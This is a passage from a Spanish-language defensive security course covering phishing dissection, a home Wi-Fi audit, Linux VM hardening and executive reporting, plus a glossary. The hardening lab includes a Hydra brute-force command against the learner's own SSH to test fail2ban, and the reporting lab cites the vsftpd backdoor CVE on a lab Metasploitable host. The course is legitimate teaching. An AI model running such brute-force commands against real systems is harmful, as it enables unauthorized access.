Paso 6. Identifica las técnicas de presión psicológica. Relee los tres mensajes buscando estos patrones: urgencia ("tu cuenta se bloqueará en 24 horas"), autoridad ("departamento de seguridad"), premio inesperado ("ganaste un sorteo en el que no participaste"), miedo ("detectamos un cargo extraño") y petición de secreto ("no le digas a nadie, es confidencial"). Haz una tabla en tu libreta: cada phishing, qué emoción ataca y con qué frase exacta. Entenderás que el phishing no hackea computadoras, hackea decisiones.

Paso 7. Verifica con una fuente independiente. Elige el Phishing 1 (el del banco) y haz lo que haría una persona protegida: abre tu navegador, escribe TÚ la dirección del banco (sin usar el enlace del correo) e inicia sesión normal, o llama al teléfono OFICIAL de tu banco (el de tu tarjeta, no el del correo) para preguntar si hay alguna alerta. Anota el resultado: casi siempre no hay ninguna alerta. Esta es la contramedida número uno y cabe en una frase: "verifica por un canal distinto al que te contactó".

Paso 8. Redacta el protocolo familiar antifraude. En tu editor crea "protocolo-familiar-lab7.txt", un documento de una página pensado para que lo entienda tu abuela: regla 1, ningún banco o empresa pide contraseñas o códigos por correo, mensaje o llamada; regla 2, ante cualquier mensaje urgente, pausa de 10 minutos y verificación por canal oficial (teléfono de la tarjeta, sitio escrito a mano); regla 3, nunca instalar "soporte remoto" (AnyDesk, TeamViewer) por petición de un desconocido; regla 4, palabra clave familiar para emergencias reales (si un "familiar" pide dinero urgente por mensaje, pedir la palabra clave); regla 5, a quién avisar en la familia si alguien cae (y sin regaños: el que avisa rápido limita el daño).

Paso 9. Comparte y practica. Envía el protocolo a tu familia por el grupo que usen y haz un simulacro de 5 minutos: muéstrales uno de tus phishings diseccionados y pregúntales qué harían. Anota sus respuestas en tu libreta. La mejor defensa contra la ingeniería social no es un software, es una familia entrenada.

Errores comunes y cómo resolverlos

Error típico 1: no encuentras la opción de ver cabeceras en tu celular. La mayoría de las apps móviles la ocultan; usa la versión web de tu correo en una computadora ("ver original" en Gmail, "ver código fuente" en otros). El análisis forense serio se hace en pantalla grande.

Error típico 2: tu cliente carga imágenes automáticamente y temes haber "activado" algo. Cargar una imagen no ejecuta el phishing, pero sí le confirma al atacante que tu correo existe y que abriste el mensaje. Desactiva la carga automática en la configuración: es una medida permanente, no solo para este laboratorio.

Error típico 3: no tienes phishings en tu spam porque tu proveedor los filtra muy bien. Alternativas válidas: pide a un familiar que te reenvíe los suyos, o usa la galería de ejemplos de la sección de ayuda de tu proveedor. Lo importante es practicar el método de disección, no el origen del mensaje.

Error típico 4: sientes tentación de "probar" el enlace en una máquina virtual para ver a dónde lleva. No lo hagas en este nivel: los kits de phishing modernos detectan análisis y algunos enlaces descargan malware automáticamente. La disección estática (leer sin tocar) es suficiente y segura.

Verificación de resultados

El laboratorio está completo si: analizaste 3 phishings reales de tu spam sin hacer clic en nada; para cada uno anotaste el truco del remitente, la URL real con el engaño marcado y la técnica psicológica usada; leíste las cabeceras de al menos uno y extrajiste dos datos reveladores; verificaste por un canal independiente que la supuesta alerta era falsa; y redactaste y compartiste el protocolo familiar de 5 reglas. Si tu cliente de correo no muestra cabeceras fácilmente, busca "ver código fuente del mensaje" en su ayuda: todos los clientes serios tienen la opción.

Preguntas de reflexión

1. ¿Por qué "verificar por un canal distinto" derrota casi todos los phishings? Porque el atacante controla el canal del engaño (el correo, el SMS, la llamada falsa) pero no

controla el canal oficial (el teléfono de tu tarjeta, el sitio que tú escribes). Al salirte de su canal, su historia se derrumba.

2. ¿Por qué la regla de "sin regaños" es una medida de seguridad y no solo de convivencia? Porque la vergüenza retrasa el reporte, y en fraudes cada hora cuenta: una tarjeta reportada a tiempo se bloquea, una reportada "mañana por pena" ya fue vaciada. La cultura de reporte rápido salva dinero.
3. Un familiar dice "yo nunca caería, eso le pasa a gente ingenua". ¿Qué le respondes con lo aprendido? Que los ataques modernos no dependen de ingenuidad sino de contexto: un mensaje de "tu paquete está detenido" llega justo cuando esperas un paquete, y los datos filtrados permiten personalizar el engaño. La protección no es "ser listo", es tener un protocolo y usarlo siempre.

Laboratorio 8: Auditoría de tu red Wi-Fi casera en 9 puntos

Objetivo

Al terminar este laboratorio habrás auditado tu propio router con una lista de verificación de 9 puntos, tendrás un inventario completo de los dispositivos conectados a tu red y habrás separado tus dispositivos IoT (focos, cámaras, bocinas inteligentes) en una red de invitados o segmentada. Tu red casera dejará de ser una caja negra: sabrás exactamente qué hay dentro.

Requisitos

- Acceso de administrador a tu router casero (usuario y contraseña; suelen venir en una etiqueta del equipo o los configuró tu proveedor).
- Tu computadora conectada a tu red casera.
- Tu libreta de laboratorio.
- Aproximadamente 75 minutos.

Desarrollo

Paso 1. Entra a la administración de tu router. Abre el navegador y escribe la puerta de enlace de tu red (normalmente 192.168.1.1 o 192.168.0.1; la ves con "ip route" en Linux o "ipconfig" en Windows). Ingresa con las credenciales de administrador. Si sigues usando la contraseña de fábrica (admin/admin), anótalo como tu primer hallazgo crítico: es lo primero que debes cambiar en el paso 3. No avances sin acceso de administrador; sin él no puedes defender tu red.

Paso 2. Haz el inventario de dispositivos conectados. En el panel del router busca la sección "clientes", "dispositivos conectados" o "DHCP". Copia la lista: nombre del dispositivo, dirección IP y dirección MAC de cada uno. Complétala caminando por tu casa: ¿ese "dispositivo desconocido" es la tablet de tu hijo, tu smart TV, la bocina? Marca cada dispositivo como "identificado" o "desconocido". Un desconocido real (que nadie en casa reconoce) se bloquea de inmediato desde el propio router.

Paso 3. Punto 1 de la lista: cambia las credenciales de administrador. En la configuración del router cambia el usuario y la contraseña de administración por valores fuertes y únicos (usa tu gestor de contraseñas). Las credenciales de fábrica son públicas: están en manuales y foros de internet. Anota en tu libreta: "P1 - credenciales de admin: CORREGIDO".

Paso 4. Punto 2: actualiza el firmware. Busca "actualización de firmware" o "firmware upgrade" en el panel. Revisa la versión instalada y compárala con la del sitio oficial del fabricante. Si hay una nueva, instálala (hazlo conectado por cable si es posible y sin interrumpir el proceso). Los firmwares viejos acumulan vulnerabilidades conocidas. Anota la versión anterior y la nueva.

Paso 5. Punto 3: verifica el cifrado Wi-Fi. En la configuración inalámbrica confirma que usas WPA2 o WPA3 (nunca WEP ni WPA original, que se rompen en minutos, ni red abierta). Si tu router ofrece WPA3, actívalo; si solo llega a WPA2, asegúrate de que sea WPA2-AES y no WPA2-TKIP. Cambia la contraseña del Wi-Fi por una frase larga si la actual es débil o la compartes con media cuadra.

Paso 6. Punto 4: revisa el WPS. El WPS (el botón de conexión rápida) tiene un diseño con vulnerabilidades conocidas que permiten adivinar el PIN. Desactívalo en la configuración inalámbrica: la comodidad de conectar sin contraseña no vale el riesgo. Punto 5: desactiva la administración remota (acceso al panel desde internet). Salvo que sepas exactamente por qué la necesitas, debe estar apagada: es una puerta de entrada directa para atacantes externos.

Paso 7. Punto 6: revisa los servicios expuestos. Busca en el router opciones como UPnP, Telnet, SSH o FTP del propio router. Desactiva UPnP salvo que un dispositivo lo exija (los videojuegos en línea a veces lo piden; si es tu caso, anótalo como riesgo aceptado). Telnet y FTP en el router deben estar apagados siempre. Punto 7: cambia los DNS si usas los de tu proveedor por defecto y quieres más privacidad o filtrado (puedes usar 1.1.1.1 o 9.9.9.9, que además filtran dominios maliciosos). Anota qué DNS configuraste.

Paso 8. Punto 8: activa la red de invitados y segmenta el IoT. Casi todos los routers modernos permiten crear una red Wi-Fi de invitados separada. Crea una llamada, por ejemplo, "Casa-IoT" y conecta ahí tus dispositivos inteligentes: focos, cámaras, bocinas, enchufes, el refrigerador si es "smart". La idea defensiva es simple: esos dispositivos tienen seguridad pobre y rara vez se actualizan; si uno es comprometido, el atacante queda atrapado en la red

de invitados sin acceso a tu computadora ni a tu celular. Punto 9: programa un recordatorio trimestral (en tu calendario) para repetir esta auditoría: firmware, dispositivos desconocidos e inventario.

Paso 9. Documenta tu auditoría. Crea el archivo "auditoria-wifi-lab8.txt" con: fecha, modelo del router, tu lista de 9 puntos con el estado de cada uno (CORREGIDO, YA ESTABA BIEN o RIESGO ACEPTADO con justificación), tu inventario de dispositivos y qué aparatos moviste a la red IoT. Cierra cambiando tu instantánea mental: tu red ya no es la que instaló el técnico hace años, es una red que tú auditaste.

Errores comunes y cómo resolverlos

Error típico 1: 192.168.1.1 no abre el panel del router. Tu puerta de enlace puede ser otra (192.168.0.1, 10.0.0.1). Averíguala con "ip route" en Linux (la línea "default via ...") o "ipconfig" en Windows ("Puerta de enlace predeterminada"). Usa esa IP exacta.

Error típico 2: tu router lo instaló el proveedor y no te dio las credenciales de administrador, o el panel está bloqueado. Llama a tu proveedor y pídelas; es tu equipo y tu red. Si se niegan, la alternativa defensiva es conectar tu propio router detrás del suyo y administrar tu red desde ahí.

Error típico 3: tu router no tiene opción de red de invitados. Anótalo como limitación del equipo (y criterio para tu próxima compra), y como medida temporal cambia la contraseña del Wi-Fi principal y desconecta los IoT que no uses. No todos los problemas se resuelven con el hardware actual; documentarlos también es auditoría.

Error típico 4: después de cambiar la contraseña del Wi-Fi, la mitad de la casa se queda sin internet. Normal: cada dispositivo debe reconectarse con la clave nueva. Haz el cambio cuando tengas 20 minutos para ir dispositivo por dispositivo, empezando por los tuyos.

Verificación de resultados

El laboratorio está completo si: entraste al panel de administración; tu inventario lista todos los dispositivos con IP y MAC identificados; cambiaste las credenciales de administrador; verificaste o actualizaste el firmware; confirmaste WPA2-AES o WPA3; desactivaste WPS y administración remota; revisaste UPnP y servicios del router; creaste la red de invitados/IoT y moviste al menos tus dispositivos inteligentes; y tu archivo de auditoría registra los 9 puntos con su estado. Si tu router no permite red de invitados, anótalo como limitación del equipo y como criterio para tu próxima compra.

Preguntas de reflexión

1. ¿Por qué separar el IoT en otra red si "total solo son focos"? Porque los dispositivos IoT baratos casi nunca reciben actualizaciones y varios han sido reclutados en botnets reales. No se trata de proteger el foco, se trata de que un foco comprometido no sea la puerta hacia tu computadora con tus documentos y contraseñas.
2. ¿Qué harías si en tu inventario aparece un dispositivo que nadie en casa reconoce? Lo bloqueas de inmediato por su MAC desde el router, cambias la contraseña del Wi-Fi (por si alguien la compartió) y revisas los registros del router para ver cuándo se conectó por primera vez. Después investigas: pudo ser un vecino con tu clave o algo peor.
3. ¿Por qué la auditoría debe repetirse cada tres meses y no "una vez y ya"? Porque las redes cambian: llegan dispositivos nuevos, salen firmwares con parches, alguien comparte la clave con una visita. La seguridad no es un estado que se alcanza, es un hábito que se mantiene.

Laboratorio 9: Endurecimiento de tu VM - UFW, SSH, fail2ban y Lynis

Objetivo

Al terminar este laboratorio tu máquina virtual Kali (o cualquier Ubuntu/Debian de laboratorio) estará endurecida con firewall activo, SSH configurado de forma segura, fail2ban bloqueando ataques de fuerza bruta y una auditoría Lynis que demuestre la mejora con números antes y después. Aprenderás el flujo profesional: medir, corregir, volver a medir.

Requisitos

- Tu máquina virtual Kali del Laboratorio 2 (o una VM Ubuntu/Debian de laboratorio) con instantánea tomada.
- Acceso con sudo.
- Conexión a internet para instalar paquetes.
- Tu libreta de laboratorio.
- Aproximadamente 90 minutos.

Desarrollo

Paso 1. Toma la instantánea de seguridad y establece la línea base. Antes de tocar nada, crea en VirtualBox la instantánea "Pre-hardening Lab 9". Luego instala Lynis, el auditor de seguridad:

```
sudo apt update && sudo apt install -y lynis
```

Ejecuta la auditoría inicial:

```
sudo lynis audit system
```

Al final, Lynis muestra un "Hardening index" (índice de endurecimiento) del 0 al 100. Anótalo en tu libreta como tu PUNTAJE ANTES. Lee las advertencias y sugerencias: cada una es una tarea de tu lista de endurecimiento. Guarda el reporte que Lynis genera en /var/log/lynis.log para comparar después.

Paso 2. Activa y configura el firewall UFW. Muchos equipos Linux no traen firewall activo por defecto. Compruébalo y actívalo:

```
sudo ufw status
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw enable
```

La lógica es "negar todo lo entrante, permitir lo saliente" y abrir solo excepciones explícitas (aquí SSH, para no quedarte fuera). Verifica con "sudo ufw status verbose". Anota qué puertos quedaron abiertos: deberían ser solo los que tú permitiste. Un firewall bien configurado es silencioso: bloquea sin que lo notes hasta que revisas sus registros.

Paso 3. Endurece el servicio SSH. Abre su archivo de configuración:

```
sudo nano /etc/ssh/sshd_config
```

Aplica estos cambios (quita el "#" si la línea está comentada): "PermitRootLogin no" (nadie entra directo como root), "PasswordAuthentication no" (solo llaves, si ya tienes una configurada; si aún no usas llaves, deja este cambio para el paso 5 y anótalo como pendiente), "MaxAuthTries 3" (tres intentos y se cierra la conexión), "PermitEmptyPasswords no" y "X11Forwarding no" (si no lo necesitas). Guarda y reinicia el servicio:

```
sudo systemctl restart ssh
sudo systemctl status ssh
```

Verifica que el servicio esté "active (running)". Cada línea que cambiaste cierra una puerta que los atacantes prueban automáticamente.

Paso 4. Genera tu par de llaves SSH y úsalo. En tu Kali ejecuta:

```
ssh-keygen -t ed25519 -C "kali-lab"
```

Acepta la ruta por defecto y ponle una frase de paso (passphrase) a la llave privada. Copia tu llave pública al servidor de laboratorio (tu propia VM o localhost para practicar):

```
ssh-copy-id analista@localhost
```

Prueba entrar con la llave. Cuando funcione, vuelve a `/etc/ssh/sshd_config` y ahora sí pon "PasswordAuthentication no", reinicia SSH y confirma que ya no te pide contraseña sino la passphrase de tu llave. Anota la diferencia: una llave ed25519 tiene una entropía que ninguna contraseña memorable alcanza.

Paso 5. Instala y configura fail2ban. Fail2ban vigila los registros y bloquea temporalmente las IPs que fallan demasiados intentos de login:

```
sudo apt install -y fail2ban
sudo systemctl enable --now fail2ban
```

Crea una configuración local (nunca edites el `jail.conf` original):

```
sudo nano /etc/fail2ban/jail.local
```

Escribe dentro:

```
[sshd]
enabled = true
port = ssh
maxretry = 3
bantime = 3600
```

Esto bloquea 1 hora a quien falle 3 logins SSH. Reinicia fail2ban y verifica:

```
sudo systemctl restart fail2ban  
sudo fail2ban-client status sshd
```

Deberías ver la cárcel "sshd" activa con 0 baneos.

Paso 6. Prueba tu defensa (ataque controlado contra ti mismo). Desde tu Kali, lanza un intento de fuerza bruta SUAVE contra tu propio SSH endurecido usando Hydra con tu lista pequeña del Laboratorio 6 y pocos hilos:

```
hydra -l analista -P candidatas.txt ssh://127.0.0.1 -t 2
```

Observa: a los pocos intentos, fail2ban te bloquea. Verifícalo:

```
sudo fail2ban-client status sshd
```

Ahora verás tu propia IP en la lista de baneadas. Para desbanearte:

```
sudo fail2ban-client set sshd unbanip 127.0.0.1
```

Anota el resultado: tu ataque de práctica fue detenido automáticamente. Así se siente una defensa que funciona.

Paso 7. Repite la auditoría Lynis y compara. Ejecuta de nuevo:

```
sudo lynis audit system
```

Anota tu PUNTAJE DESPUÉS y compáralo con el de antes. Revisa qué advertencias desaparecieron (firewall, SSH, autenticación) y cuáles quedan (algunas requieren decisiones, como particiones separadas, que en una VM de laboratorio puedes anotar como "no aplica"). La mejora del índice es tu evidencia cuantitativa de que el endurecimiento sirvió.

Paso 8. Documenta tu configuración. Crea el archivo "hardening-lab9.txt" con: puntaje Lynis antes y después, reglas activas de UFW ("sudo ufw status numbered" como evidencia), los cinco cambios de sshd_config, la configuración de fail2ban y el resultado de tu prueba de fuerza bruta bloqueada. Este documento es el que un administrador entregaría como prueba de que el servidor quedó endurecido.

Paso 9. Toma la instantánea final. Crea en VirtualBox la instantánea "Post-hardening Lab 9" con la descripción de tu puntaje final. Si algo se rompe en el futuro, puedes comparar contra este estado bueno conocido.

Errores comunes y cómo resolverlos

Error típico 1: te quedas fuera por SSH tras poner "PasswordAuthentication no" sin tener la llave funcionando. No entres en pánico: abre la consola de VirtualBox (es acceso físico virtual, siempre funciona), corrige el `sshd_config` y reinicia el servicio. Por eso el laboratorio insiste en probar la llave ANTES de desactivar las contraseñas, y por eso existe la instantánea "Pre-hardening".

Error típico 2: "sudo ufw enable" te advierte que puedes interrumpir tu conexión SSH. La advertencia es real en servidores remotos; en tu VM de laboratorio con consola disponible no es un problema, y además ya permitiste SSH con "ufw allow ssh" antes de activar. En un servidor real de producción, esta advertencia se toma muy en serio.

Error típico 3: fail2ban no banea aunque fallas logins a propósito. Revisa que la cárcel esté leyendo el registro correcto: "sudo fail2ban-client status sshd" debe mostrar la cárcel activa, y el backend debe coincidir con tu sistema (systemd en la mayoría). Si el contador de fallos no sube, el problema suele ser la ruta del log en `jail.local`.

Error típico 4: Lynis sigue reportando advertencias después de tu endurecimiento y sientes que "no sirvió". Lee cada advertencia: muchas son informativas o no aplican a una VM de laboratorio (particiones separadas, por ejemplo). El objetivo no es el 100 perfecto, es la mejora medible entre tu puntaje antes y después, y entender cada punto restante.

Verificación de resultados

El laboratorio está completo si: tienes los dos puntajes Lynis anotados y el después es mayor que el antes; "sudo ufw status" muestra el firewall activo con política de denegación entrante; tu `sshd_config` tiene los cinco cambios aplicados y el servicio está corriendo; entras por SSH con llave y sin contraseña; fail2ban tiene la cárcel sshd activa y bloqueó tu prueba Hydra (verificable en el status); y tu archivo "hardening-lab9.txt" reúne las cuatro evidencias. Si te quedas fuera por SSH tras desactivar PasswordAuthentication, restaura la instantánea "Pre-hardening", configura primero las llaves y repite.

Preguntas de reflexión

1. ¿Por qué medir con Lynis ANTES de endurecer y no solo después? Porque sin línea base no puedes demostrar mejora ni saber qué cambiaste. "Pasé de 58 a 81" es evidencia; "creo que está mejor" es una opinión. Los profesionales trabajan con números.
2. ¿Qué hace fail2ban que el firewall solo no hace? El firewall decide por puerto e IP de forma estática; fail2ban decide por COMPORTAMIENTO: detecta patrones de ataque en

los registros (intentos fallidos repetidos) y reacciona bloqueando temporalmente. Son capas complementarias, no sustitutos.

3. Desactivaste el login con contraseña en SSH. ¿Qué riesgo nuevo introduces y cómo lo mitigas? Si pierdes tu llave privada, te quedas fuera. Se mitiga con respaldo cifrado de la llave en dos lugares seguros (por ejemplo, USB cifrado guardado aparte) y manteniendo un acceso de consola de emergencia a la VM (VirtualBox siempre te deja entrar por consola aunque SSH falle).

Laboratorio 10: Informe ejecutivo de una página con plantilla de hallazgo

Objetivo

Al terminar este laboratorio sabrás convertir hallazgos técnicos en un informe de una página que un director sin conocimientos técnicos pueda entender y usar para tomar decisiones. Incluirás la plantilla de hallazgo profesional (descripción, evidencia, riesgo, recomendación) y un resumen ejecutivo que responda las tres preguntas que todo jefe hace: ¿qué tan mal estamos?, ¿qué es lo urgente? y ¿cuánto cuesta arreglarlo? Un hallazgo que no se comunica no existe.

Requisitos

- Tus materiales de los laboratorios 4, 5 y 9 (escaneos, tabla priorizada, puntajes Lynis).
- Tu libreta de laboratorio y un editor de texto.
- Aproximadamente 60 minutos.

Desarrollo

Paso 1. Reúne tu materia prima. Abre tu tabla priorizada del Laboratorio 5, tu mini-reporte y tus puntajes Lynis del Laboratorio 9. El informe de este laboratorio se escribe sobre tu Metasploitable de laboratorio como "sistema evaluado". Marca tus 3 hallazgos más importantes (tu P1 y dos P2): esos son los que irán al informe de una página. El resto queda en el anexo técnico; un ejecutivo no necesita 40 hallazgos, necesita los que duelen.

Paso 2. Domina la plantilla de hallazgo. Cada hallazgo profesional lleva exactamente cinco campos, en este orden: 1) Título claro ("Servidor FTP con puerta trasera conocida (CVE-2011-2523)"); 2) Descripción en lenguaje sencillo (qué es y por qué importa, sin jerga

innecesaria); 3) Evidencia (el comando y su salida resumida: "nmap --script vuln reportó CVE-2011-2523 en el puerto 21"); 4) Riesgo (qué podría pasar si no se corrige, en términos de negocio: "un atacante podría tomar control del servidor"); 5) Recomendación concreta y verificable ("actualizar vsftpd y re-escanear con nmap -sV"). Escribe estos cinco campos para tu hallazgo P1 en tu libreta antes de seguir.

Paso 3. Escribe el resumen ejecutivo (máximo 8 líneas). Debe responder sin tecnicismos: qué se evaluó ("el servidor de laboratorio que simula nuestra infraestructura"), el resultado global en una frase ("se encontraron X hallazgos, Y de ellos críticos"), los dos o tres riesgos principales en lenguaje de negocio ("existe riesgo de toma de control del servidor y de robo de credenciales") y la conclusión ("con dos semanas de trabajo de actualización y configuración, el riesgo se reduce a nivel bajo"). Prohibido en esta sección: nombres de herramientas, CVEs sueltos sin explicación y siglas sin definir. Si tu director tiene que preguntar qué significa, lo escribiste mal.

Paso 4. Redacta el informe de una página. Crea el archivo "informe-lab10.txt" con esta estructura exacta: encabezado (título "Informe de evaluación de seguridad", sistema evaluado, fecha, autor, clasificación "CONFIDENCIAL - uso interno"), resumen ejecutivo (tu texto del paso 3), tabla resumen de hallazgos (3 filas: título, severidad P1/P2/P3, estado "abierto"), detalle de cada hallazgo con la plantilla de 5 campos (versión compacta, 6 a 8 líneas por hallazgo) y plan de acción (tabla: hallazgo, responsable sugerido, esfuerzo estimado en días, fecha objetivo). Todo debe caber en una página impresa: si se desborda, recorta palabras, no secciones.

Paso 5. Aplica la prueba del "director ocupado". Lee tu resumen ejecutivo en voz alta cronometrando 60 segundos: eso es lo que un directivo te dará en el pasillo. ¿Entendió el riesgo? ¿Sabe qué aprobar? Ajusta hasta que la respuesta sea sí. Luego lee un hallazgo completo y tacha toda palabra que un no técnico no entienda, sustituyéndola ("explotación remota no autenticada" se vuelve "un atacante desde internet puede entrar sin contraseña").

Paso 6. Agrega la sección de "qué sigue". Todo informe profesional termina mirando adelante: re-evaluación después de aplicar correcciones (fecha propuesta), evaluaciones periódicas (trimestrales, como tu auditoría Wi-Fi del Laboratorio 8) y monitoreo continuo (revisar registros, mantener fail2ban del Laboratorio 9). Tres líneas bastan. Un informe sin próximos pasos es una foto; con próximos pasos es un plan.

Paso 7. Revisa con la lista de calidad. Verifica punto por punto: ¿el informe cabe en una página? ¿el resumen ejecutivo evita la jerga? ¿cada hallazgo tiene evidencia y recomendación verificable? ¿las severidades son consistentes con tu tabla del Laboratorio 5? ¿dice "CONFIDENCIAL"? ¿tiene fecha y autor? Corrige lo que falle. Los informes descuidados destruyen la credibilidad del analista más técnico.

Paso 8. Archiva tu portafolio. Guarda "informe-lab10.txt" junto a tus evidencias de los laboratorios 4 (escaneos), 5 (tabla y mini-reporte) y 9 (puntajes Lynis). Esa carpeta completa es tu primer portafolio de analista: muestra que sabes encontrar, priorizar, corregir y comunicar. Toma tu última instantánea "Lab 10 completo" y escribe en tu libreta el cierre del anexo: ¿qué laboratorio te costó más y qué harías distinto?

Errores comunes y cómo resolverlos

Error típico 1: el informe se desborda a dos páginas. No recortes secciones: recorta palabras. Elimina adjetivos, une frases y deja un solo ejemplo de evidencia por hallazgo. Si aún no cabe, tu resumen ejecutivo es demasiado largo: el límite de 8 líneas es sagrado.

Error típico 2: el resumen ejecutivo se te llena de jerga ("escaneo SYN", "banner grabbing", "CVE-2011-2523 sin explicar"). Aplica la regla: cada término técnico debe ir traducido o fuera del resumen. Relee en voz alta e imagina que se lo explicas a un familiar: lo que suene raro, se reescribe.

Error típico 3: las severidades del informe no coinciden con tu tabla del Laboratorio 5. Cruza ambos documentos antes de cerrar: la inconsistencia entre tus propios entregables destruye credibilidad más rápido que cualquier error técnico. Un P1 en la tabla debe ser P1 en el informe.

Error típico 4: el plan de acción no tiene responsables ni fechas, solo "se recomienda". Un plan sin dueño ni fecha es un deseo. Asigna aunque sea roles genéricos ("administrador de sistemas", "responsable de red") y fechas realistas: eso convierte tu informe en un proyecto ejecutable.

Verificación de resultados

El laboratorio está completo si: tu informe cabe en una página; tiene las cinco secciones (encabezado confidencial, resumen ejecutivo, tabla de hallazgos, detalle con plantilla de 5 campos, plan de acción y próximos pasos); el resumen ejecutivo se lee en 60 segundos y no usa jerga sin explicar; cada uno de tus 3 hallazgos trae evidencia del escaneo y recomendación verificable; las severidades coinciden con tu priorización del Laboratorio 5; y tu

carpeta de portafolio reúne las evidencias de los laboratorios 4, 5, 9 y 10. Pide a alguien no técnico que lea el resumen: si entiende el riesgo, aprobaste.

Preguntas de reflexión

1. ¿Por qué el informe es de UNA página si tienes tanto material técnico? Porque quien decide (y paga las correcciones) no lee 40 páginas. La página ejecutiva consigue la aprobación y el presupuesto; el material técnico vive en anexos para quien lo necesite. Comunicar poco y claro protege más que documentar mucho y confuso.
2. ¿Qué diferencia hay entre "riesgo técnico" y "riesgo de negocio" en tu plantilla? El técnico dice "CVE-2011-2523 permite ejecución remota de comandos"; el de negocio dice "un atacante podría apagar el servidor en plena temporada de ventas". El informe traduce el primero al segundo, porque las decisiones se toman en idioma de negocio.
3. ¿Por qué el informe se marca como CONFIDENCIAL aunque sea de tu laboratorio? Porque un informe de vulnerabilidades es un manual de instrucciones para atacar ese sistema. En la vida real, filtrar un informe equivale a regalarle al atacante tu lista de debilidades priorizada. La confidencialidad se practica desde el primer ejercicio, no "cuando sea un cliente real".

ANEXO B: GLOSARIO MAESTRO Y CHULETAS DEL AUDITOR

Glosario A-C

AIRCRAK-NG: suite de herramientas para auditar la seguridad de redes Wi-Fi. Permite analizar trafico inalambrico, poner la tarjeta en modo monitor y (solo en redes propias y con permiso) probar la resistencia de claves WPA.

AMENAZA: cualquier causa potencial de un incidente no deseado que puede danar un sistema o los datos. Se diferencia de la vulnerabilidad: la amenaza es el actor o evento, la vulnerabilidad es el punto debil.

ANCHO DE BANDA: cantidad maxima de datos que puede transmitir una red en un periodo de tiempo. En auditorias interesa para detectar anomalias como exfiltracion de datos.

ANTIVIRUS: programa que detecta, bloquea y elimina software malicioso usando firmas conocidas y analisis de comportamiento. En el hardening es una capa de defensa obligatoria en equipos de escritorio.

APT (Advanced Persistent Threat): ataque avanzado y persistente, normalmente dirigido por grupos organizados o estatales contra una organizacion concreta. Se caracteriza por su sigilo y larga duracion.

AP (Access Point / Punto de acceso): dispositivo que permite la conexion inalambrica de equipos a una red. En auditorias Wi-Fi se revisa su configuracion: cifrado, contraseña y senales de dispositivos clonados.

AUTENTICACION: proceso de verificar la identidad de un usuario o sistema antes de dar acceso. Puede ser por algo que sabes (contraseña), algo que tienes (token) o algo que eres (huella).

AUTORIZACION: proceso que define que puede hacer un usuario ya autenticado dentro del sistema. Se basa en roles y permisos; el principio de mínimo privilegio la hace más segura.

BACKUP (Respaldo): copia de seguridad de los datos para recuperarlos ante perdida, corrupcion o ransomware. La estrategia recomendada es la regla 3-2-1: 3 copias, en 2 medios distintos, 1 fuera del sitio.

BACKDOOR (Puerta trasera): mecanismo oculto que permite acceso no autorizado a un sistema saltándose los controles normales. En auditoria defensiva se buscan backdoors para eliminarlos, nunca para instalarlos.

BAITING: técnica de ingeniería social que atrae a la víctima con algo atractivo (un USB "perdido" con etiqueta llamativa, una descarga gratis) para infectar su equipo o robar credenciales.

BALANCEO DE CARGA: distribución del tráfico entre varios servidores para mejorar rendimiento y disponibilidad. En una auditoria conviene identificarlo porque puede ocultar la infraestructura real.

BLUE TEAM: equipo encargado de la DEFENSA de la organización: monitorea, detecta, responde y remedia incidentes. Es el contraparte natural del red team en ejercicios de seguridad.

BOTNET: red de equipos infectados (bots) controlados de forma remota por un atacante para enviar spam, lanzar DDoS o minar criptomonedas. Los equipos se infectan casi siempre por phishing.

BRUTE FORCE (Fuerza bruta): ataque que prueba todas las combinaciones posibles de contraseñas hasta dar con la correcta. Es lento pero efectivo contra claves cortas; por eso se exigen políticas de contraseñas fuertes y bloqueo por intentos.

BUFFER OVERFLOW (Desbordamiento de buffer): vulnerabilidad donde un programa escribe más datos de los que caben en un espacio de memoria reservado, lo que puede permitir ejecutar código arbitrario. Clásica en software escrito en C/C++.

BUG BOUNTY (Recompensa por errores): programa donde una organización paga a investigadores por reportar vulnerabilidades de forma responsable. Plataformas conocidas: HackerOne y Bugcrowd.

BURP SUITE: herramienta (proxy) para auditar aplicaciones web. Permite interceptar y modificar el tráfico entre el navegador y el servidor, ideal para probar formularios, sesiones y APIs.

CABECERA HTTP: metadatos que viajan en las peticiones y respuestas web (como User-Agent o Set-Cookie). En hardening se revisan porque pueden revelar versiones de software o faltar protecciones (CSP, HSTS).

CADENA DE CUSTODIA: registro documentado de quien manipula una evidencia digital y cuando. Es esencial si los hallazgos de una auditoria pueden llegar a un proceso legal.

CAPTCHA: prueba para distinguir humanos de bots en formularios web. No es una medida de seguridad fuerte, pero ayuda a frenar ataques automatizados simples.

CERTIFICADO DIGITAL: documento electrónico que vincula una identidad con una clave pública, firmado por una autoridad certificadora (CA). Es la base del HTTPS y de la confianza en la web.

CGI (Common Gateway Interface): tecnología antigua para generar contenido web dinámico. Hoy casi no se usa, pero los sistemas heredados con CGI son un clásico en auditorías de aplicaciones viejas.

CHECKSUM: valor calculado a partir de un archivo para verificar su integridad (MD5, SHA256). Si el checksum cambia, el archivo fue modificado.

CIFRADO: proceso de transformar información legible en datos ilegibles mediante una clave, para que solo quien tenga la clave pueda leerla. El cifrado en reposo y en tránsito es un control básico de seguridad.

CIFRADO ASIMETRICO: usa un par de claves: pública (para cifrar) y privada (para descifrar). Ejemplos: RSA, ECC. Es la base de TLS y de las firmas digitales.

CIFRADO SIMETRICO: usa la misma clave para cifrar y descifrar. Es rápido y se usa para grandes volúmenes de datos. Ejemplo: AES.

CIS (Center for Internet Security): organización que publica guías de hardening (CIS Benchmarks) con configuraciones seguras recomendadas para sistemas operativos, bases de datos y servicios.

CLIENTE-SERVIDOR: modelo donde un cliente solicita servicios y un servidor los provee. Entenderlo es básico para auditar tráfico de red y aplicaciones web.

COMANDO: instrucción que se le da al sistema operativo desde la terminal. El auditor domina la terminal porque la mayoría de las herramientas de seguridad son de línea de comandos.

CONTRASEÑA: secreto que conoce el usuario para autenticarse. Debe ser larga, única por servicio y guardarse en un gestor de contraseñas, nunca en texto plano.

CONTRAMEDIDA: acción o control que reduce el riesgo de una amenaza o vulnerabilidad. Puede ser técnica (un firewall), administrativa (una política) o física (un candado).

COOKIE: pequeño archivo que un sitio web guarda en el navegador para recordar sesiones y preferencias. En auditorías web se revisan sus atributos de seguridad (HttpOnly, Secure, SameSite).

